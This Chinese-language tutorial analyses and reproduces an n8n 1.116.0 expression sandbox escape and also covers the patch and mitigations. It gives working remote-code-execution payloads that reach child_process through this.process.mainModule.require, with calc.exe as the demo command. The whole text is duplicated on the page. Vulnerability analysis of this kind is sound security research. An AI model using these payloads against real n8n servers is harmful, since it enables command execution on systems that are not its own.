n8n 表达式沙箱逃逸导致远程代码执行漏洞分析
字数 1227
更新时间 2025-12-31 12:07:43
n8n 表达式沙箱逃逸漏洞分析与复现教学
漏洞概述
本教学文档详细分析n8n工作流自动化平台中的表达式沙箱逃逸漏洞,该漏洞允许攻击者通过特制表达式实现远程代码执行。
环境搭建
版本信息
- 漏洞版本: n8n 1.116.0
- 表达式引擎: @n8n/tournament
安装步骤
- 下载指定版本代码:
https://codeload.github.com/n8n-io/n8n/zip/refs/tags/n8n%401.116.0
- 解决依赖安装问题:
git init
pnpm install
pnpm build
技术背景
表达式引擎特性
n8n使用tournament作为表达式解析引擎,该引擎支持执行JavaScript代码。关键特性包括:
- 表达式格式:
={{expression}} - 执行上下文:
this指向传入的data值 - 执行机制:通过
tournament.execute()方法解析表达式
表达式执行流程分析
- 入口函数:
tournament.execute() - 评估阶段:进入
evaluate()方法 - 函数构建:构建执行函数
- 实际调用:通过
fn.call()执行表达式
漏洞原理分析
关键发现
在n8n 1.116.0版本中,表达式执行存在上下文污染问题:
this指向全局对象而非预期上下文- 通过
this.process.mainModule可访问Node.js核心模块
漏洞利用链
this → global对象 → process.mainModule → require() → 任意模块加载
漏洞复现
基础测试
首先验证this指向:
={{this}}
确认返回全局对象而非受限上下文
命令执行构造
利用Node.js立即执行函数实现代码执行:
{{this.process.mainModule.require('child_process').exec('calc.exe');}}
完整攻击向量
构造立即执行函数确保代码在表达式评估时执行:
{{(function(){ return this.process.mainModule.require('child_process').exec('calc.exe'); })()}}
补丁分析
修复提交
官方修复commit:08f332015153decdda3c37ad4fcb9f7ba13a7c79
防护机制
- 前置检查函数:添加
before: [FunctionThisSanitizer] - 属性限制:对三个关键属性进行安全检查:
mainModulebinding_load
安全检查实现
使用isSafeObjectProperty函数检查属性访问:
- 检查属性:
__proto__,prototype,constructor,getPrototypeOf - 限制危险模块访问
漏洞验证步骤
手动测试
- 在n8n表达式编辑器中输入测试payload
- 观察命令执行结果(calc.exe弹窗)
- 确认漏洞存在性
调试方法
- 设置断点在
FunctionThisSanitizer检查点 - 跟踪属性访问流程
- 验证绕过可能性
技术要点总结
关键漏洞点
- 上下文污染:
this绑定到全局对象 - 模块加载失控:通过
mainModule无限制加载模块 - 执行机制缺陷:缺乏适当的沙箱隔离
利用条件
- 拥有表达式编辑权限
- 目标运行在Node.js环境
- 未应用安全补丁的n8n版本
防护建议
- 及时更新到已修复版本
- 限制表达式编辑权限
- 实施输入验证和过滤
- 使用最小权限原则运行n8n服务
本教学文档完整呈现了漏洞分析、复现和防护的全过程,为安全研究和防护措施提供技术参考。
n8n 表达式沙箱逃逸漏洞分析与复现教学
漏洞概述
本教学文档详细分析n8n工作流自动化平台中的表达式沙箱逃逸漏洞,该漏洞允许攻击者通过特制表达式实现远程代码执行。
环境搭建
版本信息
- 漏洞版本: n8n 1.116.0
- 表达式引擎: @n8n/tournament
安装步骤
- 下载指定版本代码:
https://codeload.github.com/n8n-io/n8n/zip/refs/tags/n8n%401.116.0
- 解决依赖安装问题:
git init
pnpm install
pnpm build
技术背景
表达式引擎特性
n8n使用tournament作为表达式解析引擎,该引擎支持执行JavaScript代码。关键特性包括:
- 表达式格式:
={{expression}} - 执行上下文:
this指向传入的data值 - 执行机制:通过
tournament.execute()方法解析表达式
表达式执行流程分析
- 入口函数:
tournament.execute() - 评估阶段:进入
evaluate()方法 - 函数构建:构建执行函数
- 实际调用:通过
fn.call()执行表达式
漏洞原理分析
关键发现
在n8n 1.116.0版本中,表达式执行存在上下文污染问题:
this指向全局对象而非预期上下文- 通过
this.process.mainModule可访问Node.js核心模块
漏洞利用链
this → global对象 → process.mainModule → require() → 任意模块加载
漏洞复现
基础测试
首先验证this指向:
={{this}}
确认返回全局对象而非受限上下文
命令执行构造
利用Node.js立即执行函数实现代码执行:
{{this.process.mainModule.require('child_process').exec('calc.exe');}}
完整攻击向量
构造立即执行函数确保代码在表达式评估时执行:
{{(function(){ return this.process.mainModule.require('child_process').exec('calc.exe'); })()}}
补丁分析
修复提交
官方修复commit:08f332015153decdda3c37ad4fcb9f7ba13a7c79
防护机制
- 前置检查函数:添加
before: [FunctionThisSanitizer] - 属性限制:对三个关键属性进行安全检查:
mainModulebinding_load
安全检查实现
使用isSafeObjectProperty函数检查属性访问:
- 检查属性:
__proto__,prototype,constructor,getPrototypeOf - 限制危险模块访问
漏洞验证步骤
手动测试
- 在n8n表达式编辑器中输入测试payload
- 观察命令执行结果(calc.exe弹窗)
- 确认漏洞存在性
调试方法
- 设置断点在
FunctionThisSanitizer检查点 - 跟踪属性访问流程
- 验证绕过可能性
技术要点总结
关键漏洞点
- 上下文污染:
this绑定到全局对象 - 模块加载失控:通过
mainModule无限制加载模块 - 执行机制缺陷:缺乏适当的沙箱隔离
利用条件
- 拥有表达式编辑权限
- 目标运行在Node.js环境
- 未应用安全补丁的n8n版本
防护建议
- 及时更新到已修复版本
- 限制表达式编辑权限
- 实施输入验证和过滤
- 使用最小权限原则运行n8n服务
本教学文档完整呈现了漏洞分析、复现和防护的全过程,为安全研究和防护措施提供技术参考。